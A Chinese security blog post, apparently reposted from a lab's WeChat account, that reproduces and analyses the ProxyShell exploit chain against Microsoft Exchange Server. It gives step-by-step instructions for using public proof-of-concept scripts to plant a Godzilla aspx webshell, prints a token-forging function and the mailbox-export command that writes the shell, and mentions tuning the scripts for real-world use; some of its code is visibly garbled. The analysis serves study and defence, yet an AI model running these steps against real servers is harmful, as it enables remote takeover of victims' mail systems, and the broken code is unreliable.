ProxyShell的复现与分析

admin 2021年8月17日02:37:07评论1,603 views字数 3867阅读12分53秒阅读模式

ProxyShell 漏洞的复现与分析


背景


今年的Blackhat演讲中,Orange Tsai对其在上一阶段对Microsoft Exchange Server进行的安全研究进行了分享,除了前一段时间已经公开的proxylogon,还带来了ProxyShell等漏洞的有关具体细节。本文就结合已经公开到github的利用脚本,将这个漏洞进行简单的复现和分析,并且结合在实战用的利用,对脚本进行了易用性改进。


影响范围


Microsoft Exchange Server 2010

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019


利用思路


ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。


利用


一.   下载需要使用的脚本:

生成webshell:https://github.com/Ridter/proxyshell_payload利用https://github.com/dmaasland/proxyshell-poc


二. 根据自己需要,生成webshell数据,替换到proxyshell-poc中,执行,获取webshell

1. 在proxyshell_payload.py中,修改末尾的webshell变量,将其替换为哥斯拉生成的aspx的webshell,需要注意的是经过测试CSharpDynamicPayload中的CSHAP_AES_BASE64,生成的webshell,需要将其中所有的Session替换成Application.

2. 运行proxyshell_payload.py,将encode之后的内容,复制到proxyshell_rce.py的 311 行:

ProxyShell的复现与分析




ProxyShell的复现与分析

3. 运行proxyshell_rce.py,首先获取exchange的powershell 管理shell,然后清邮件导出请求,之后执行dropshell,即可写入webshell

      

Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell

ProxyShell的复现与分析


三.  Proxyshell_rce可以根据自己的需要修改生成shell的路径,只需要修改222行和 233行的两行内容,将其对应。

ProxyShell的复现与分析
ProxyShell的复现与分析


分析


SSRF

Orange的演讲中,找到了一条exchange由于逻辑问题,产生的一条ssrf利用链,首先第一个点就是下图中的如何从url中提取邮箱:

ProxyShell的复现与分析


核心的错误在于下图,通过处理之后,将请求uri:

ProxyShell的复现与分析


结合起来如下图所示,被removed后面的部分,就是被带入ssrf的内容:

ProxyShell的复现与分析


Exchange PowerShell Remoting


Exchange PowerShell 远程处理是一个命令行界面,用于 Exchange 任务的自动化

但是问题有两个:

•Exchange PowerShell Remoting基于PowerShell API 构建,并使用用于隔离的运行空间。所有操作均基于WinRM协议

•与PowerShell 后端交互失败,因为没有system用户的邮箱


X-CommonAccessToken


orange继续对其进行研究,发现了这个接口存在另一个认证方式,也就是X-CommonAccessToken:

ProxyShell的复现与分析


但是这种方式默认是从http 请求头中获取的,继续寻找发现了另一个关键函数CommonAccessTokenFromUrl:

ProxyShell的复现与分析


这样就能将commonAccessToken 通过get请求参数X-Rps-CAT传入,也就能被ssrf进行利用,但是这里的commonAccessToken如何获取呢?


Privilege Downgrade


经过dnspy的反编译分析,这是一个序列化的数据,其结构相对简单,但是需要一个有关用户的值,比如sid,组sid等等,其生成的实现在exp中的gen_token这个函数,这里需要做到从system用户降级到exchange的管理权限,于是先从autodiscover接口获取了administrator用户的sid,然后构造了一个administrator用户的token,从而降级到了adiministrator。


def gen_token(self):
  # From: https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
  version_data = b'V' + ( 1 ).to_bytes( 1 , 'little') + (version).to_bytes( 1 , 'little')
type_data = b'T' + (len(ttype)).to_bytes( 1 , 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes( 1 , 'little')
auth_data = b'A' + (len(auth_type)).to_bytes( 1 , 'little') + auth_type.encode()
login_data = b'L' + (len(self.email)).to_bytes( 1 , 'little') + self.email.encode()
user_data = b'U' + (len(self.sid)).to_bytes( 1 , 'little') + self.sid.encode()
group_data = b'G' + struct.pack('<II'1 , 7 ) + (len(gsid)).to_bytes( 1 , 'little') + gsid.encode()
ext_data = b'E' + struct.pack('>I'0 )
  raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
  raw_token +group_data
  raw_token += ext_data

  data = base64.b64encode(raw_token).decode()

  return data

        

Webshell-Attack Exchange PowerShell


最后一部分就是在获取了exchange的管理powershell接口之后,如何获取webshell:

这里使用的是邮件导出请求New-MailboxExportRequest:

New-MailboxExportRequest –Mailbox orange@orange.local –FilePath
\127.0.0.1C$pathtoshell.aspx

但是默认导出的格式是pst,并且pst格式会对内容进行加密,直接在邮件中写入webshell并不会生效。

orange于是对pst格式进行了研究,去阅读了 MS-PST的文档,发现其使用的加密为类似异或加密模式,也就是说加密在加密就变成了明文,那么只要先使用其加密方法加密一遍我们要写入的webshell,就可以在导出时,获得明文,从而获取webshell。

加密实现,可以在上面中的proxyshell_payload.py找到


结合

1.  通过smtp发送我们加密编码后的payload。

2.  将 /PowerShell/ 重写为 /Autodiscover/ 以触发路径混淆错误,触发ssrf,然后使用相应的 Exchange Admin Access Token 添加查询字符串 X-Rps-CAT,获取powershell management shell。

3.  New-ManagementRoleAssignment 授予我们自己的邮箱导入导出角色,New-MailboxExportRequest 将 ASPX 文件写入本地 UNC 路径。

4.  获取到wenshell。


参考


1.https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/

2.https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf



本文始发于微信公众号(水滴安全实验室):ProxyShell的复现与分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月17日02:37:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ProxyShell的复现与分析https://cn-sec.com/archives/461884.html

发表评论

匿名网友 填写信息